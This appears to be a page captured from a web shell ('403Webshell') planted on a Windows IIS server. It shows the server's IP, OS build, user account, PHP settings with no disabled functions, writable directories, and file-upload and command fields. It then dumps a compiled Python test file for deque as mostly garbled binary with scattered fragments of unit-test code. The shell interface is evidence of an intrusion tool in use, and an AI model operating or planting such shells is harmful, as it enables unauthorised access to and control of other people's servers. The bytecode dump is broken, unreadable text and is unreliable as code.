403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/test_deque.cpython-315.opt-1.pyc
R
>lqj]�c��]QHGs]PHs]PHs]QHGsGs]PHs]PH s]PH$s	]PH(s
]PH,s]PH0sQs
QsQQ2sQQ2sQ	Q
\O"2sQQ\O"2sQ
Q\2sQQ\2sQQ\2sQQ\O"2sQQ\2sQQ\O"2sQQ\O42sQsQ\-sQs\Q6Xc\O@2P!P!)���deque)�support�	seq_testsi��c#� �[g3h��)�SyntaxError���$C:\Python315\\Lib\test\test_deque.py�failr
s���
��s�
c�(`�\sQs]snQsQsUsP!)�BadCmpc��[g�N)�RuntimeError��self�others&&r�__eq__�
BadCmp.__eq__s���rr
��__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�__classdictcell__��
__classdict__s@rrrs�����rrc�.`�\sQs]snQsQsQsUsP!)�	MutateCmpc� �VmV mP!r�r�result)rrr%s&&&r�__init__�MutateCmp.__init__s���
��rc�P�UOO2UO!r)r�clearr%rs&&rr�MutateCmp.__eq__s���
�
�����{�{�rr$)rrrrr&rrrrs@rr"r"s������rr"c�x`�\sQs]snQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Qs"Q s#Q!s$Q"s%Q#s&Q$s'Q%s(Q&s)Q's*Q(s+Q)s,Q*s-Q+s.Q,s/Q-s0Q.s1Q/s2\3Ohs4\3OjQ02s6Q1s7Us8P!)2�	TestBasicc	��[[QQ22oUO[]�22[]�Q2FDoUOU2J	[	[Q]22FDoUOU2J	UO
[U2[[QQ222UO
[U2Q2[]�2Tt,tFDp!O2MJ	ooUO
U[[Q]2222UO
[U2[[]2Q222[]�2Tt,tFDp!O2MJ	ooUO2UO
U[[]�Q222UO
[U2[[]2]�222P!ttohttoh)i��Xi��ix��8���)r�ranger&�append�reversed�
appendleft�assertEqual�list�len�popleft�pop�reverse�r�d�i�left�rights&    r�test_basics�TestBasic.test_basics sQ���%��u�%�&��	�
�
�5��:���s�C��A�
�H�H�Q�K�!��%��a�.�)�A�
�L�L��O�*�����a��$�u�T�3�'7�"8�9�����Q���%�%*�3�Z�0�Z��	�	��Z��0�����t�E�$��O�4�5�����a��$�u�R��~�"6�7�"'��*�-�*�Q����*��-�
�
�
�������U�3��_� 5�6�����a��$�u�R��~�"6�7��1��.s�G�Gc��UO[[QP2UO[[QQ2[[	]
22o[U]Q5oUO[
U2,2UO[U2Q2UO[
U2,QN2UOU[[	]
2]22UO]
2UO[
U2,QN2UO]2UO[
U2,QN2UO]
],2UO[
U2,QN2UO]],2UO[
U2,QN2[[	]�2]
Q5oUOU2UO[U2Q	PQ2[[	]
2PQ5oUO[U2Q2P!)
�abc��maxlenzdeque([7, 8, 9], maxlen=3)z, 198, 199, [...]], maxlen=10)z%deque([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])���)���	)rHrI�
)rIrJ�i��)�assertRaises�
ValueErrorr�iterr1r5r6�reprr2r4�extend�
extendleft�r�itr<s&  r�test_maxlen�TestBasic.test_maxlen3s|�����*�e�U�B�7����*�e�U�B�7�
�%��)�_���"�Q�������b��2�&�����a��">�?�����a��)�,�����E�%��)�Q�/�0�	���������a��*�-�	���Q������a��)�,�	���"�b�������a��+�.�	���a��V������a��)�,��%��*�R�(��	���������a�����(H�I��%��)�D�)������a��"I�Jrc��[[]d22o[U]Q5UO[	U2,2[[]d22o[]Q5oUOU2UO[	U2,2[[]d22o[]Q5oUO
U2UO[	U2,2P!)�drD)rNr1rr5r6rPrQrRs&  r�test_maxlen_zero�TestBasic.test_maxlen_zeroJs���
�%��*�
��
�b�������b��2�&�
�%��*�
����O��	���������b��2�&�
�%��*�
����O��	���R������b��2�&rc��UO[2OP2UO[Q2OP2UO[Q]Q5O]2UO[Q]Q5O]2UO[Q]Q5O]2UO[29^tt^2[Q2o]
UmPPP2P!)%fhP!9h)NrCrD)r5rrErL�AttributeError�rr<s& r�test_maxlen_attribute�TestBasic.test_maxlen_attributeYs�����������.�����u��,�,�d�3�����u�Q�/�6�6��:�����u�Q�/�6�6��:�����u�Q�/�6�6��:�
�
�
�~�
.�
.��e��A��A�H�/�
.�
.�
.�s�C:�:D	�D	c��PQQQ*Q*1FDVo[U2o[U2oQFD6oUOUOU2UOU2VU12J8	JX	UO	[
WO2UO	[
UO]]2QQ2o[]]U2],2oUO	[UO]2[,Q
N2oUO	[UOU22QQ	2oU2o[]]]U]],2oV&mUO	[UO]2[P,]*2o[[U22FDoUOP2J	UO]2UOUO]2]2UOUOP2]2P!)��abracadabra�
simsalabim��rC�abcdefghijklmnopqrstuvwxyzc�(`�\sQs]ksnQsQsUsP!)�(TestBasic.test_count.<locals>.BadComparec��[gr)�ArithmeticErrorrs&&rr�/TestBasic.test_count.<locals>.BadCompare.__eq__ls��%�%rr
rrs@r�
BadComparerfks����
&�
&rrjc�(`�\sQs]rsnQsQsUsP!)�-TestBasic.test_count.<locals>.MutatingComparec�<�UOO2P	!)T)r<r9rs&&rr�4TestBasic.test_count.<locals>.MutatingCompare.__eq__ss�����
�
��rr
rrs@r�MutatingComparerlrs����
�
rro�r��)r6rr5�countrL�	TypeErrorrhr<rr1r7�rotate)r�sr<�letterrjro�mr=s&       r�
test_count�TestBasic.test_countcs����m�\�#�%5�e�%;�<�A��Q��A��a��A�6��� � ������!�'�'�&�/�A�&�>�R�7�=�
	
���)�Q�W�W�-����)�Q�W�W�a��3�	&�	&�
�1�a���q�)�*�����/�1�7�7�A�6��)������/�1�7�7�J�L�A�	�	�
����1�a��A�q�!�$�%�������,�����3�
�4�&��)����s�1�v��A�
�H�H�R�L��	�������������Q�'����������+rc� �[Q2oUO2U[Q2[Q2[2[U21FD�oSOV6H[	U2[	U26H9%c[U2[U26H2SOV6g[	U2[	U26H9%c[U2[U26H%(2J�	[[Q2oSFCDoSFCDoUOVE6H[U2[U26HVE12UOVE6g[U2[U26gVE12UOVE6[U2[U26VE12UOVE6*[U2[U26*VE12UOVE6�[U2[U26�VE12UOVE6�[U2[U26�VE12CJ		CJ	P!)�xabcrC�ab)	r`�a�br}�barC�xbar|�cba)rr8r6r5�type�map)rr<�e�args�x�ys&     r�test_comparisons�TestBasic.test_comparisons�s����&�M��	�	�	���U�5�\�5��;����a��A�A����Q�T�4��7�D��G�#3�#H�#H��Q���a��8H�I����Q�T�t�A�w��Q��'7�'L�'L�D��G�T�!�W�<L�#M�N�B��5�Q�R���A���� � ����a��D��G�);�a�U�C�� � ����a��D��G�);�a�U�C�� � ����a��D��G�);�a�U�C�� � ����a��D��G�);�a�U�C�� � ����a��D��G�);�a�U�C�� � ����a��D��G�);�a�U�C�
�rc�L�]�o[[U22o[U2FDoUOV272J	UOU]*U72[[U22o[UP
2V!]*$UO	[
29^tt^2V7PPP2[[U22o[
2V!]*$UO	[
29^tt^2V7PPP2P!)%fhKc9h)%fhP!9h���)rr1�
assertTruer"rLrr)r�nr<r=s&   r�
test_contains�TestBasic.test_contains�s������%��(�O���q��A��O�O�A�F�#������1��Q��'�
�%��(�O���A�u�%��Q�$��
�
�
�|�
,�
,�
�F�-�
�%��(�O���(��Q�$��
�
�
�|�
,�
,�
�F�-�
,�
-�
,��-�
,�
,�s$�C?�0D�?D	�D	�D#	�D#	c�H`�U1QkQ2o[U2U2,2nUO[29^tt^2]R7oPPP2[U2U2,2nUO[29^tt^2RO]2oPPP2[U2,2nUO[29^tt^2RO	]2PPP2P!)%fhK�9h)%fhKm9h)%fhP!9h)c�0:`�\sQs]�snU1QksQsUsP!)�;TestBasic.test_contains_count_index_stop_crashes.<locals>.Ac�2:�RO2[!r)r)�NotImplemented)rrr<s&&�rr�BTestBasic.test_contains_count_index_stop_crashes.<locals>.A.__eq__�s������	�%�%rr
r)r r<s@�r�Ar��s����
&�
&rr�)rrLrrs�index)rr��_r<s&  @r�&test_contains_count_index_stop_crashes�0TestBasic.test_contains_count_index_stop_crashes�s����	&�	&�
�1�3���*���
�
�
�|�
,�
,��Q��A�-��1�3���*���
�
�
�|�
,�
,�����
�A�-�
�1�3�%�L��
�
�
�|�
,�
,�
�G�G�A�J�-�
,�-�
,��-�
,��-�
,�
,�s6�C*�C=�D�*C:	�3C:	�=D
	�D
	�D!	�D!	c�4�[Q2oUO[UO]2UOQ2UO	[U2[Q22UOU2UO	[U2[Q22P!�r~�bcd�abcd�abcdabcd)rrLrtrPr5r6r\s& r�test_extend�TestBasic.test_extend�sh���#�J�����)�Q�X�X�q�1�	���������a��$�v�,�/�	���������a��$�z�"2�3rc�^�[2o[Q2o[Q2oUOV*[22UOV#*[Q22UOV"*[Q22UOV!*[Q22UOV*[Q22UOV*[22UOV!*[Q22UOV*[Q22[Q]Q5o[Q2oUOVE*[Q22UO[29^tt^2[Q2Q*PPP2P!)%fhP!9h)rC�def�abcdef�abcabcrD�gh�efgh)rr5�assertIsNotrLrt)rr<r��f�g�hs&     r�test_add�TestBasic.test_add�s���G���%�L���%�L���������(�������h��0�������h��0�������e��-�������e��-��������(�������e��-�������e��-��(�1�%���$�K��������f�
�.�
�
�
�y�
)�
)��%�L�5� �*�
)�
)�
)�s�>F�F,	�$F,	c���[Q2oUQ*
oUO[U2[Q22V*
oUO[U2[Q22P!r�)rr5r6r\s& r�	test_iadd�TestBasic.test_iadd�sL���#�J��	�U�
������a��$�v�,�/�	�������a��$�z�"2�3rc
�L�[Q2oUO[UO]2UOQ2UO	[U2[[
Q222UOU2UO	[U2[Q22[2oUO[Q22UO	[U2[[
[Q2222UO[UO[22P!)r~r�r��abcddcba��)
rrLrtrQr5r6r3r1r	r
r\s& r�test_extendleft�TestBasic.test_extendleft�s����#�J�����)�Q�\�\�1�5�	���U������a��$�x��'7�"8�9�	���Q������a��$�z�"2�3��G��	���U�4�[�!�����a��$�x��d��'<�"=�>����+�q�|�|�T�V�<rc��]�o[[U22o[[U22o[U2FD�oUO2UO	]2[
O
2Q6c#UO
U2UO
U2[][U2*
[U22FDoJ	J�	[Q2oUOU]*Q2UOUP*Q2[2oUO[UO]2UO[UOP2P!)r�g�?�supermanrvr�)rr1r6r8r9�randomr2r7r5rL�
IndexError�__getitem__)rr�r<�lr=�js&     r�test_getitem�TestBasic.test_getitem�s������%��(�O����q��N���q��A�
�I�I�K�
�E�E�!�H��}�}���$������������1�S��V�8�S��V�,��,�
�
�*�������1��s�#�����2���$��G�����*�a�m�m�Q�7����*�a�m�m�R�8rc���QFCDHo[[U22o[U2FD$oUOUOU2U2J&	UO	[
29^tt^2UOU]*2PPP2[[U22o[
UP
2V!]*$UO	[29^tt^2UOU2PPP2[[U22o[2V!]*$UO	[29^tt^2UOU2PPP2CJK	QoQo[U]*2o[U]*2o[Q[U2]**
][U2]**2FD�o[Q[U2]**
][U2]**2FDIoUQ*FD8o	UOV�U2o
UOUOV�U2U
2J:	JK	J�	SFD�oUOU2oUOUUOU]22UOUUOU][U222UOUUOU][U2]d*22J�	[[]Q]
22o[]d2FD=o
UOQQ2oUOV#*Q2UO2J?	P!)%fhCK�9h)%fhCK{9h)%fhCJz9h[
cTSO	[
29^tt^2SOX�S2PPP2CJ�)%fhCJ�9hh9h)r�	ABCDEFGHI�Zi'i4!�)rrq��(r����)rr1r5r�rLrMr"rrr6r7ru)rr�r<r=�elements�
nonelementrv�start�stop�element�target�elemr��steps&             r�
test_index�TestBasic.test_index�s���"�A��e�A�h��A��1�X��� � ������Q�/���"�"�:�.�.�����!���/��e�A�h��A���5�)�A��d�G��"�"�<�0�0�����
�1��e�A�h��A��h�A��d�G��"�"�<�0�0�����
�1�0�%#�,���
��(�Q�,�����A�����2��A��q��=�!�c�!�f�q�j�.�9�E��b�3�q�6�!�8�m�Q��Q��!��^�<��'�#�~�~�G�P�!"�����!>��
�(�(������)F��O� .�=�:��D��G�G�D�M�E���������a� �
�
��������a��Q��(�
�
��������a��Q��#��.�
�� 
�%��5�"�%�&���#�J�D�����c�"�A����Q�T�4�(�
�H�H�J�	�c/�.�.��1�0�0��1�0�0��&�:�!�.�.�z�:�:��G�G�G�D�9�;�:�:�:��:�sl�.M	�M	�3M-	�N�M
�M
�M*
�"M*
�-M?
�6M?
�	O �O �*O	�=O �	O�O�O �O c��[Q2oUO[29^tt^2UOQ]]2oPPP2P!)%fhP!9h)r�zHello world�AAA)rrLrMr�)rr<r=s&  r�test_index_bug_24913�TestBasic.test_index_bug_24913:s=���'�N��
�
�
�z�
*�
*����
�q�!�,�A�+�
*�
*�
*�s�A�A	�A	c�:�Qo[Q[U2]**
][U2]**2FDXo[Q2o[Q2oUO	UQ2UO	UQ2UO[U2U2JZ	P!)r�r�r�)r1r7rr6�insertr5)rr�r=r<rvs&    r�test_insert�TestBasic.test_insert?sx�����r�C��M�!�O�+�Q��X���1B�-B�C�A��k�"�A��[�!�A�
�H�H�Q���
�H�H�Q������T�!�W�a�(�Drc��Qo[U[U2Q5oUO[29^tt^2UO	]P2PPP2Qo[[U2'[U22FDro[U[U2]*Q5oUO	UQ2U]6�cUO
V$*Q2JSUO
V$]*
*Q2Jt	P!)%fhK�9h)�ABCrDr�r�)rr7rLr�r�r1r5)r�datar<r�r=s&    r�test_insert_bug_26194�TestBasic.test_insert_bug_26194Is������$�s�4�y�)��
�
�
�z�
*�
*�
�H�H�Q���+�����H�
�~�s�8�}�5�A��h�s�8�}�Q��7�A�
�H�H�Q����A�v�� � ���s�+�� � ��Q�3���-�
6�	+�
*�s�C,�,C<	�5C<	c��QFDJo[2oV!*oUOU[22UOUO2JL	QFDSo[Q2oV!*oUOU[QU*22UOUO2JU	QFD_o[QQ2oV!*oUOU[Q[	UQ2*22UOUOQ2Ja	QFDSo[Q2oV!*oUOU[QU*22UOUO2JU	QFDXo[QQ2oV!*oUOU[QU*QP22UOUOQ2JZ	P!)rJr~rcr�)������rrrqrJr�)
r�r�rrrqrJ��rc�r�i���)rr5�assertIsNonerE�min)rr�r<s&  r�	test_imul�TestBasic.test_imulXsp��-�A���A�
�F�A����Q���(����a�h�h�'�	.�.�A��c�
�A�
�F�A����Q��c�A�g��/����a�h�h�'�	.�=�A��c�3��A�
�F�A����Q��c�C��3�K�&7� 8�9����Q�X�X�s�+�	=�.�A��h��A�
�F�A����Q��h��l� 3�4����a�h�h�'�	.�=�A��h��$�A�
�F�A����Q��x�!�|�T�U�&;� <�=����Q�X�X�s�+�	=rc�P�[Q2oUOUQ*[22UOU]*[22UOU]*[Q22UOU]*[Q22UOU]*[Q22UOU]*U2UO[2]*[22UO[2]*[22UO[2]*[22UOQU*[22UO]U*[22UO]U*[Q22UO]U*[Q22UO]U*[Q22[Q]Q5oUOUQ*[22UOU]*[22UOU]*[Q22UOU]*[Q22UOU]*[Q22P!)rCr��	abcabcabcrD�bcabcr�)rr5r�r\s& r�test_mul�TestBasic.test_mulws����%�L������R����)�����Q����(�����Q���e��-�����Q���h��0�����Q���k� 2�3�����Q���"������1��e�g�.������1��e�g�.������1��e�g�.�����a����)�����Q����(�����Q���e��-�����Q���h��0�����Q���k� 2�3��%��"������R����)�����Q����(�����Q���e��-�����Q���g��/�����R���w��0rc	��]�o[[U22o[U2FDo]
U*V#$J	SO[U2[U2Tt,tFDo]
U*MJ	to2[U2o[]U*
]P2FDo]U*V#$]U*VC$J	UO[U2U2P!ttohr�)rr1r5r6)rr�r<r=r�s&    r�test_setitem�TestBasic.test_setitem�s������%��(�O���q��A���6�A�D������a���q��":��A�2�a�4�4��":�;���G���q��s�A�r�"�A��Q�3�A�D��Q�3�A�D�#�	
����a��!�$��#;s�C
c��Qo[[U22oUO[UOU']*
2UO[UOU2[U2FDzoUO[
U2V*
2[O[
U2'[
U22oV$*oUOVR2V$UOVR2J|	UO[
U2]2P!�rc)rr1rLr��__delitem__r5r7r��	randrange�assertIn�assertNotIn)rr�r<r=r��vals&     r�test_delitem�TestBasic.test_delitem�s������%��(�O�����*�a�m�m�a�R��T�:����*�a�m�m�Q�7��q��A����S��V�Q�S�)�� � �#�a�&��#�a�&�1�A��$�C��M�M�#�!������S�$�
�	
����Q���#rc��Qo[U2Tt,tFDo[O2MJ	oo[U2FD�o[UPU2oUO2oUO	[U2[[
UPU222UOUP2UO2UO	[U2UPU2J�	UO[WO]2P!ttohr�)
r1r�rr:r5r6r3�assertIsrLrt)rr�r=r�r<�rs&     r�test_reverse�TestBasic.test_reverse�s�����).�q��2��A��
�
����2��q��A��d�2�A�h��A��	�	��A����T�!�W�d�8�D��!�H�+=�&>�?��M�M�!�T�"�
�I�I�K����T�!�W�d�2�A�h�/�
�	
���)�Q�Y�Y��2��3s� C6c��[Q2o[U2o[U2oUO]2UO	POU2Q2[U2oUOP2UO	POU2Q2UO2UO	[U2U2[
U]*2FD�o[U2o[U2oUOU2[
U2FDoUO]2J	UO	[U2[U22UOU'2UO	[U2U2UOV$*
2UO	[U2U2J�	[
U]*2FD�o[U2o[U2oUOU'2[
U2FDoUOP2J	UO	[U2[U22UOU2UO	[U2U2UOVB*
2UO	[U2U2J�	[U2o[U2oUO[]*2UOo[
[]*2FD
oU2J	UO	[U2[U22UO[UOQ2UO[UO]]
2[2oUO2UO	U[22P!)�abcde�eabcd�bcdear�)
�tupler7rrur5�joinr1�BIGrLrt)rrvr�r<r=r�r��drs&       r�test_rotate�TestBasic.test_rotate�s{���'�N����F���!�H��	�������������W�-��!�H��	�������������W�-�	���
�����q��1�%��q��s��A��a��A��a��A�
�H�H�Q�K��1�X�����������U�1�X�u�Q�x�0�
�H�H�a�R�L����U�1�X�q�)�
�H�H�Q�S�M����U�1�X�q�)���q��s��A��a��A��a��A�
�H�H�a�R�L��1�X�����������U�1�X�u�Q�x�0�
�H�H�Q�K����U�1�X�q�)�
�H�H�Q�S�M����U�1�X�q�)��
�!�H���!�H��	����R���
�X�X���s�2�v��A��D������q��5��8�,����)�Q�X�X�s�3����)�Q�X�X�q�"�5��G��	���
�����E�G�$rc�|�[Q2oUO[U2]2UO2UO[U2]2UO	2UO[U2]2UO[UO2UO[U2]2UOQ2UO[U2]2UOQ2UO[U2]2UO2UO[U2]2P!)r}�cr<)
rr5r7r8r9rLr�r2r4r)r\s& r�test_len�TestBasic.test_len�s����$�K������Q���#�	�	�	������Q���#�	��������Q���#����*�a�e�e�,�����Q���#�	����
�����Q���#�	���S������Q���#�	���	�����Q���#rc��[2oUO[UO2UO[UO2P!r)rrLr�r9r8r\s& r�test_underflow�TestBasic.test_underflow�s1���G�����*�a�e�e�,����*�a�i�i�0rc�H�[[]d22oUO[U2]d2UO	2UO[U2]2UO[U2,2UO	2UO[U2,2P!)rW)rr1r5r7r)r6r\s& r�
test_clear�TestBasic.test_clearsr���%��*�������Q���%�	���	�����Q���#�����a��"�%�	���	�����a��"�%rc���[Q2oUOQ2UOU[Q22UOQ2UOU[Q22UO[UOQ2UOU[Q22[QQ[2Q,2o[U2oUO[UOQ2[V2FDvq4UOV4I2J	QFDfo[Q,2oUO[V2Q,2UO[UOQ2UOU[22Jh	P!)�abcdefghcijr	�
abdefghcij�	abdefghijr~rr})TF)r�remover5rLrMrr�zipr�rPr"r�)rr<r�r�r��matchs&     r�test_remove�TestBasic.test_remove
s ���-� ��	����
�����E�,�/�0�	����
�����E�+�.�/����*�a�h�h��4�����E�+�.�/�
�3��V�X�s�+�,���!�H�����,����#�6���I�D�A��O�O�A�F�#��
#�E��t�f�
�A�
�H�H�i��)�3�/�0����j�!�(�(�C�8����Q���(�	#rc��[[]�22o[[U22oUO	[U2[U22UO
U2UO	[U2QPQ2P!)r�z7, 198, 199, [...]])i��)rr1�evalrOr5r6r2�rr<r�s&  r�	test_repr�TestBasic.test_repr"s[���%��*�����a��M������a��$�q�'�*�	���������a�����(>�?rc�x�UO[[Q]]2UO[[]2P!�rC)rLrtr�rs&r�	test_init�TestBasic.test_init)s*�����)�U�E�1�a�8����)�U�A�.rc�P�UO[[[Q22P!r!)rLrt�hashrr"s&r�	test_hash�TestBasic.test_hash-s�����)�T�5��<�8rc��QFD�o[[U22oUOUOqC[U[2FD9oUU2U2oVeU*
6wfJ!UOVeU*
2J;	UO[
U2[
[[U*
[222J�	P!�r)rrrqrWr�)rr1r2r8rr5r6�r�sizer<r2r9r=r�s&      r�#test_long_steadystate_queue_popleft�-TestBasic.test_long_steadystate_queue_popleft0s���(�D��e�D�k�"�A��(�(�A�I�I�C��4��%���q�	��E���D��=��$�$�Q�$��/�	&�

���T�!�W�d�5��T��3�+?�&@�A�)rc��QFD�o[[[U222oUOUOqC[U[
2FD9oUU2U2oVeU*
6wfJ!UO
VeU*
2J;	UO
[[[U222[[[
U*
[
222J�	P!r*)rr3r1r4r9rr5r6r+s&      r�$test_long_steadystate_queue_popright�.TestBasic.test_long_steadystate_queue_popright;s���(�D��h�u�T�{�+�,�A��,�,����C��4��%���q�	��E���D��=��$�$�Q�$��/�	&�

���T�(�4��7�"3�4�!�%��D��#�"6�7�
9�)rc��[2oUOUOq2[[2FDoUU2J
	[[2FD#oU2oVT6wfJUOVT2J%	P!r)rr2r8r1rr5�rr<r2r9r=r�s&     r�test_big_queue_popleft� TestBasic.test_big_queue_popleftGsX����G���h�h��	�	���s��A��1�I���s��A���A��v�� � ��&�rc��[2oUOUOq2[[2FDoUU2J
	[[2FD#oU2oVT6wfJUOVT2J%	P!r)rr4r9r1rr5r3s&     r�test_big_queue_popright�!TestBasic.test_big_queue_poprightRsU���G���l�l�A�E�E���s��A��1�I���s��A���A��v�� � ��&�rc�>�[2oUOUOq2[[2FDoUU2J
	[[[22FD#oU2oVT6wfJUO
VT2J%	UO
[U2]2P!�r)rr2r9r1rr3r5r7r3s&     r�test_big_stack_right�TestBasic.test_big_stack_right\sp���G���h�h������s��A��1�I���%��*�%�A���A��v�� � ��&�&�	
����Q���#rc�>�[2oUOUOq2[[2FDoUU2J
	[[[22FD#oU2oVT6wfJUO
VT2J%	UO
[U2]2P!r:)rr4r8r1rr3r5r7r3s&     r�test_big_stack_left�TestBasic.test_big_stack_leftgsp���G���l�l�A�I�I���s��A��1�I���%��*�%�A���A��v�� � ��&�&�	
����Q���#rc���[[]�22o[U2oUO[U2[U22UO	[U2[U22P!r�)rr1�assertNotEqual�idr5r6rs&  r�test_roundtrip_iter_init�"TestBasic.test_roundtrip_iter_initrsI���%��*����!�H�����B�q�E�2�a�5�)�����a��$�q�'�*rc
���[[]�22[[]�2]d21FD�o[[O]*2FD�o[OV2o[O
U2oUO
[U2[U22UO[U2[U22UOUOUO2J�	J�	P!r�)rr1�pickle�HIGHEST_PROTOCOL�dumps�loadsrArBr5r6rE)rr<r=rvr�s&    r�test_pickle�TestBasic.test_picklexs����u�S�z�"�E�%��*�c�$:�:�A��6�2�2�Q�6�7���L�L��&���L�L��O���#�#�B�q�E�2�a�5�1�� � ��a��$�q�'�2�� � ����1�8�8�4�8�;rc
��[Q2[Q]21FD�oUOU2[[O]*2FD�o[O
[OV22oUO[U2[U22UO[UP*2[U22UOUOUO2J�	J�	P!r!)rr2r1rFrGrIrHrArBr5rE)rr<r=r�s&   r�test_pickle_recursive�TestBasic.test_pickle_recursive�s����u��u�U�A��.�A�
�H�H�Q�K��6�2�2�Q�6�7���L�L����a�!3�4���#�#�B�q�E�2�a�5�1�� � ��A�b�E��B�q�E�2�� � ����1�8�8�4�	8�/rc��[[]�22oSTt,tFDp"Q*MJ
	oo[[O]*2FCD�o[	U2o[O
VQ1U2o[OU2vqx[U2FD	vq)V�U$J	UO[U2[U22UO[U2U2[U2[O
VQ1U2o[OU2vqx[U2FD	vq)V�U$J	UO[U2[U22UO[U2UQ*2[][U22FDo[U2J	[O
VQ1U2o[OU2vqx[U2FD	vq)V�U$J	UO[U2[U22UO[U2,2UO[[U2[O
VQ1U2o[OU2vqx[U2FD	vq)V�U$J	UO[U2[U22UO[U2,2CJ�	P!ttoh)r�g)\��(�?:rNN)rr1rFrGrNrHrI�	enumerater5r�r6�nextr7rL�
StopIteration)
r�origr=r��proto�itorg�dumprSr<r�s
&         r�test_iterator_pickle�TestBasic.test_iterator_pickle�s'���U�3�Z� �� $�%��1�$�����%��6�2�2�Q�6�7�7�E���J�E��<�<��
�u�5�D��L�L��&�E�B�!�$�����!��(����T�"�X�t�E�{�3����T�"�X�t�,�
��K��<�<��
�u�5�D��L�L��&�E�B�!�$�����!��(����T�"�X�t�E�{�3����T�"�X�t�B�x�0��1�c�$�i�(���U��)��<�<��
�u�5�D��L�L��&�E�B�!�$�����!��(����T�"�X�t�E�{�3����T�"�X�r�*�
���m�T�5�9��<�<��
�u�5�D��L�L��&�E�B�!�$�����!��(����T�"�X�t�E�{�3����T�"�X�r�*�I8��&s�Kc�4�]
,o[U,2o[OU2oUO[	U2[	U22]U]$UO[
U2[
U22UO[	U2[	U22P!�rJ)r�copy�deepcopyr5r6rArB�r�mutr<r�s&   r�
test_deepcopy�TestBasic.test_deepcopy�ss���d���3�%�L���M�M�!�������a��$�q�'�*���A�����B�q�E�2�a�5�)����D��G�T�!�W�-rc
�X�]
,o[U,2o[OU2oUO[U2[U22]U]$UO	[U2[U22UO[U2[U22[
]2FD�o[
P]2FD�o[
U2Tt,tFDo[O2MJ	ooUP6Xc[U2L
[Vu2oUO2oUOV#2UOUOUO2SO[9PIc%Q[V#22D%cJP
L	P	LQ[V#2222J�	J�	P!ttoh)rJc3�8�SF �DvqVIw�	J
	P!3hrr
)�.0r�r�s&  r�	<genexpr>�&TestBasic.test_copy.<locals>.<genexpr>�s��y���y�t�q�A�F�y�s�)rr[r5r6rArBr1r�rEr��allr)rr^r<r�r=rEr�rvs&       r�	test_copy�TestBasic.test_copy�s'���d���3�%�L���I�I�a�L������a��$�q�'�*���A�����B�q�E�2�a�5�)�����a��$�q�'�*��q��A���A�,��.3�A�h�7�h��V�]�]�_�h��7� &�"��E�!�H�%��2B���F�F�H��� � ��&�� � ����1�8�8�4������#A�s�1�y�#A����#A�s�1�y�#A� A�B�
'���7s� F'c�(�]
,o[U,2oUO2oUO[U2[U22]U]$UO	[U2[U22UO[U2[U22P!rZ)rr[r5r6rArBr]s&   r�test_copy_method�TestBasic.test_copy_method�sp���d���3�%�L��
�F�F�H������a��$�q�'�*���A�����B�q�E�2�a�5�)�����a��$�q�'�*rc��Q[Q21FDBoUO[[[	U222[[U222JD	P!�r���)r1r5r6r3r)rrvs& r�
test_reversed�TestBasic.test_reversed�s<���%��+�&�A����T�(�5��8�"4�5�t�H�Q�K�7H�I�'rc���[[[222oQ[Q21FD?oUO	[U[U222[[U222JA	P!rm)r�r3rr1r5r6)r�klassrvs&  r�test_reversed_new�TestBasic.test_reversed_new�sL���X�e�g�&�'���%��+�&�A����T�%��a��/�2�D��!��4E�F�'rc��]PHo[2o[]d2FD%oUO]2UO2J'	P!r:)�gcrr1r2�collect)rrvr<r=s&   r�test_gc_doesnt_blowup�TestBasic.test_gc_doesnt_blowup�s0���
�G���s��A�
�H�H�Q�K��J�J�L�rc�\�QQ[2o[]2FD�oU2o[OU2oU]6Xc[	U],2oL[[	U],22o[
U2Um==[O2UOU2PIQ2J�	P!)c��\sQsQsQsP!)�,TestBasic.test_container_iterator.<locals>.C��r
�rrrrrr
rr�Cr|����rrzCycle was not collected)�objectr1�weakref�refrr3rNr�rvrwr�)rrr=�objr��	containers&     r�test_container_iterator�!TestBasic.test_container_iterator�s���	��	��q��A��#�C��+�+�c�"�C��A�v�!�3��(�O�	�$�U�C��8�_�5�	���O�C�E��Y��J�J�L��O�O�C�E�T�M�+D�E�rc�J�]o]@o[OQU*2o[OQU*2oUO	[
O
[22U2UOoU[2V4*2U[Q2V4*2U[QU]*
*2V4*2U[QU*2U]U**2U[Q]*U**2U]+U**2P!)�z2P5n%dPPzP%dPPr~)	r�calcvobjsize�struct�calcsizer5r��
__sizeof__r�check_sizeof)r�
MAXFREEBLOCKS�BLOCKLEN�basesize�	blocksize�checks&     r�test_sizeof�TestBasic.test_sizeof�s����
����'�'�
�]�(B�C���O�O�G�h�$6�7�	�����*�*�5�7�3�X�>��!�!��
�e�g�x�+�,�
�e�C�j�(�.�/�
�e�C�8�a�<�(�)�8�+?�@�
�e�C�(�N�#�X��I�
�%=�>�
�e�C�2��=�)�*�H�r�I�~�,E�Frr
)9rrrrr@rTrXr]ryr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr
r
rrrr#r'r-r0r4r7r;r>rCrJrMrWr_rgrjrorsrxr�rr��cpython_onlyr�rrrs@rr,r,s#����8�&K�.
'��,�BD�"�(� 4�!�(4�
=�9�(<�|-�
)�
.�,�>1�4
%�$�
3�3%�j$� 1�
&�)�0@�/�9�	B�
9�	'�'�	$�	$�+�5�5�'+�R.�C�$+�J�G�
�F� �'�'�L����G��Grr,c�4`�\sQsQsnQsQsQsQsUsP!)�TestVariousIteratorArgs�	c
��QP[Q2Q[QQ]21FCD.o[O[O[O[O
[O[O1FD<oUO[[UU222[UU222J>	UO[[[OU22UO[[[OU22UO[[[O U22CJ1	P!)�123r�rni�)�dog333333�?)r1r�Sequence�IterFunc�IterGen�IterFuncStop�	itermulti�iterfuncr5r6rrLrt�IterNextOnly�
IterNoNext�ZeroDivisionError�
